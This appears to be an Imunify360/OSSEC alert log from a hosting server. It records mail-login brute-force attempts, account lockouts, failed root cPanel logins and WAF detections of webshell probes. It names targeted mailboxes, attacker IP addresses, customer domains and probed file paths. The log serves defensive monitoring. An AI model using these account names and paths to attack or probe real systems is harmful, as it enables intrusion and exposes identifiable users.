2026-01-31 05:30:17 dovecot_login authenticator failed for H=(bheS6IL) [178.16.54.138]:58714: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:30:07 dovecot_login authenticator failed for H=(mXZ2NK) [178.16.54.22]:58329: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:30:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:31:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:31:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:31:37 dovecot_login authenticator failed for H=(90PFgJ) [178.16.54.22]:51002: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:31:09 dovecot_login authenticator failed for H=(TpqipU) [178.16.54.138]:56883: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.178.203.226
country_id: 6252001
description:
2026-01-31 05:31:15 dovecot_login authenticator failed for H=pool-71-178-203-226.washdc.fios.verizon.net [71.178.203.226]:42044: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.191.145.123
country_id: 1814991
description:
2026-01-31 05:31:05 dovecot_login authenticator failed for H=([61.191.145.123]) [61.191.145.123]:38443: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:31:04 dovecot_login authenticator failed for H=(NaI5pM) [185.230.124.69]:54368: 535 Incorrect authentication data (set_id=ernest)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: inter-link.edu.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/interlink/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:32:26 dovecot_login authenticator failed for H=(DzbMSN) [185.230.124.69]:64218: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:32:45 dovecot_login authenticator failed for H=(DMguI1L) [178.16.54.22]:50980: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:32:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:32:08 dovecot_login authenticator failed for H=(WPOB8oJ) [185.230.124.69]:63873: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.88.149
country_id: 6252001
description:
[2026-01-31 05:32:13 +0800] info [whostmgrd] 172.56.88.149 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:32:24 dovecot_login authenticator failed for H=(TpeAkaC) [178.16.54.138]:60903: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:32:53 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:33:06 dovecot_login authenticator failed for H=(gmkFM6) [178.16.54.138]:50456: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:33:10 dovecot_login authenticator failed for H=(CcdrTKdd) [185.230.124.69]:61137: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:33:32 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:33:51 dovecot_login authenticator failed for H=(aVH9l0) [178.16.54.22]:54603: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:33:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:34:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:34:03 dovecot_login authenticator failed for H=(0kkJLnIaME) [185.230.124.69]:49432: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:34:04 dovecot_login authenticator failed for H=(Wz4ZzTZi2) [178.16.54.138]:53104: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:34:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:34:58 dovecot_login authenticator failed for H=(AthbVl) [178.16.54.22]:62884: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:35:00 dovecot_login authenticator failed for H=(zo4Jm9z9yP) [185.230.124.69]:62388: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:35:15 dovecot_login authenticator failed for H=(rLMaznIFd) [185.230.124.69]:63060: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:35:16 dovecot_login authenticator failed for H=(hrs0EiS0) [178.16.54.138]:50763: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:35:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:35:33 dovecot_login authenticator failed for H=(kPnvcnoNnp) [178.16.54.22]:58547: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.106.115
country_id: 1814991
description:
2026-01-31 05:36:02 dovecot_login authenticator failed for H=([111.26.106.114]) [111.26.106.115]:51792: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:36:08 dovecot_login authenticator failed for H=(YtPs6oA) [185.230.124.69]:54948: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:36:50 dovecot_login authenticator failed for H=(Cj7erm) [178.16.54.138]:63527: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.152.240
country_id: 1861060
domain: mail.symphony-led.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home/symphonyadmin/public_html/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-01-31 05:36:13 dovecot_login authenticator failed for H=(64-49-97-15.protekweb.com) [64.49.97.15]:36228: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:36:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.228.134
country_id: 1269750
description:
2026-01-31 05:36:55 dovecot_login authenticator failed for H=(nsg-static-209.69.76.182-airtel.com) [128.185.228.134]:42310: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:37:11 dovecot_login authenticator failed for H=(Nujfpm) [178.16.54.22]:52431: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:37:11 dovecot_login authenticator failed for H=(zsUX7q8jq) [185.230.124.69]:54055: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:37:55 dovecot_login authenticator failed for H=(E5ecqr) [185.230.124.69]:57141: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.21.229
country_id: 2017370
description:
2026-01-31 05:37:06 dovecot_login authenticator failed for H=([31.173.21.229]) [31.173.21.229]:38364: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:37:20 dovecot_login authenticator failed for H=(wDOiSN) [178.16.54.138]:51366: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.81.162.47
country_id: 6252001
description:
[2026-01-31 05:37:54 +0800] info [whostmgrd] 68.81.162.47 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:38:22 dovecot_login authenticator failed for H=(pxUPgs) [178.16.54.138]:63667: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:38:22 dovecot_login authenticator failed for H=(fkYmDs) [178.16.54.22]:60877: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.12
country_id: 1733045
description:
2026-01-31 05:38:40 dovecot_login authenticator failed for H=([49.124.153.12]) [49.124.153.12]:33504: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:38:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:38:11 dovecot_login authenticator failed for H=(GqDVdVp) [185.230.124.69]:62438: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.249.19.34
country_id: 1643084
description:
2026-01-31 05:38:09 dovecot_login authenticator failed for H=([103.249.19.34]) [103.249.19.34]:54998: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-01-31 05:39:12 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [23.30.11.253]:47463: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:39:03 dovecot_login authenticator failed for H=(Nse7WJUiJw) [185.230.124.69]:59065: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:39:10 dovecot_login authenticator failed for H=(CDb3dY0B) [178.16.54.138]:56883: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.199
country_id: 1733045
description:
2026-01-31 05:39:19 dovecot_login authenticator failed for H=([49.124.149.199]) [49.124.149.199]:47742: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:39:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:40:44 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account penny@indfinitydesign.com has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.56.143.163
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=11 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.211.164.12
country_id: 2077456
domain: mokshana.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home/mokshanacom/public_html/wp-content||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:40:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.214.218.54
country_id: 2802361
description:
2026-01-31 05:40:23 dovecot_login authenticator failed for H=(ADMIN) [181.214.218.54]:17738: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:40:18 dovecot_login authenticator failed for H=(pDjUqpnnwO) [185.230.124.69]:59723: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.11.10
country_id: 2017370
description:
2026-01-31 05:40:14 dovecot_login authenticator failed for H=([213.234.11.10]) [213.234.11.10]:49144: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:40:15 dovecot_login authenticator failed for H=(tuxr3VK) [178.16.54.138]:52463: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.195.66
country_id: 1269750
description:
2026-01-31 05:40:30 dovecot_login authenticator failed for H=([128.185.169.25]) [125.19.195.66]:54418: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:40:43 dovecot_login authenticator failed for H=(dkQgGOM) [185.230.124.69]:60913: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:41:18 dovecot_login authenticator failed for H=(j9UVRb) [178.16.54.138]:51986: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:41:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account penny@indfinitydesign.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.110.53.172
country_id: 6252001
description:
[2026-01-31 05:41:17 +0800] info [whostmgrd] 46.110.53.172 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:41:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:41:08 dovecot_login authenticator failed for H=(IZUHCT) [185.230.124.69]:64840: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: dsc-expat.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/dscexpat/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.7.18.225
country_id: 3996063
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/teamwork.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:42:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account penny@indfinitydesign.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:42:17 dovecot_login authenticator failed for H=(qD07m2xZ) [185.230.124.69]:58390: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:42:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:42:25 dovecot_login authenticator failed for H=(RfUs5maqZv) [178.16.54.138]:51117: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:43:32 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account penny@indfinitydesign.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:43:34 dovecot_login authenticator failed for H=(4hnXXV) [178.16.54.138]:64978: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:43:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:43:06 dovecot_login authenticator failed for H=(sOd3jG) [185.230.124.69]:59543: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-31 05:43:08 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:32880: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.19.200.63
country_id: 660013
description:
2026-01-31 05:43:21 dovecot_login authenticator failed for H=([146.19.200.63]) [146.19.200.63]:48332: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:43:30 dovecot_login authenticator failed for H=(1YIMs2slS) [185.230.124.69]:61648: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:44:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:44:59 dovecot_login authenticator failed for H=(8CNZxDmR) [178.16.54.138]:50790: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.114.129.100
country_id: 2017370
description:
2026-01-31 05:44:42 dovecot_login authenticator failed for H=(host-194-114-129-100.bisv.ru) [194.114.129.100]:60148: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.97.170.54
country_id: 3144096
description:
2026-01-31 05:44:47 dovecot_login authenticator failed for H=(54-170-97-62.cust.smartcall.no) [62.97.170.54]:58078: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.145.31
country_id: 2510769
description:
2026-01-31 05:44:54 dovecot_login authenticator failed for H=31.145.158.146.dynamic.jazztel.es [146.158.145.31]:45538: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:44:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account penny@indfinitydesign.com has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:44:20 dovecot_login authenticator failed for H=(c6s7hf80) [185.230.124.69]:55415: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:45:10 dovecot_login authenticator failed for H=(VhKF2lt) [185.230.124.69]:60815: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:45:30 dovecot_login authenticator failed for H=(wdX9z8bU) [178.16.54.138]:62636: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.237.86
country_id: 1269750
description:
2026-01-31 05:45:09 dovecot_login authenticator failed for H=([125.23.237.86]) [125.23.237.86]:57894: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.90.41.136
country_id: 1522867
description:
2026-01-31 05:45:20 dovecot_login authenticator failed for H=178.90.41.136.dynamic.telecom.kz [178.90.41.136]:38363: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:46:23 dovecot_login authenticator failed for H=(tPoa3qpX) [185.230.124.69]:53400: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:46:01 dovecot_login authenticator failed for H=(8jemzKHV2n) [185.230.124.69]:55177: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:46:01 dovecot_login authenticator failed for H=(ymxRf5) [178.16.54.138]:64043: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:47:03 dovecot_login authenticator failed for H=(ja5pRFoVbv) [178.16.54.138]:57131: 535 Incorrect authentication data (set_id=penny@indfinitydesign.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.115.194
country_id: 1269750
description:
2026-01-31 05:47:54 dovecot_login authenticator failed for H=([182.95.115.194]) [182.95.115.194]:59456: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.247.8.56
country_id: 6252001
description:
[2026-01-31 05:47:48 +0800] info [whostmgrd] 73.247.8.56 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:47:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.120.40
country_id: 1814991
description:
2026-01-31 05:47:29 dovecot_login authenticator failed for H=([39.152.120.40]) [39.152.120.40]:43274: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:47:07 dovecot_login authenticator failed for H=(6jcoJs91hp) [185.230.124.69]:62000: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
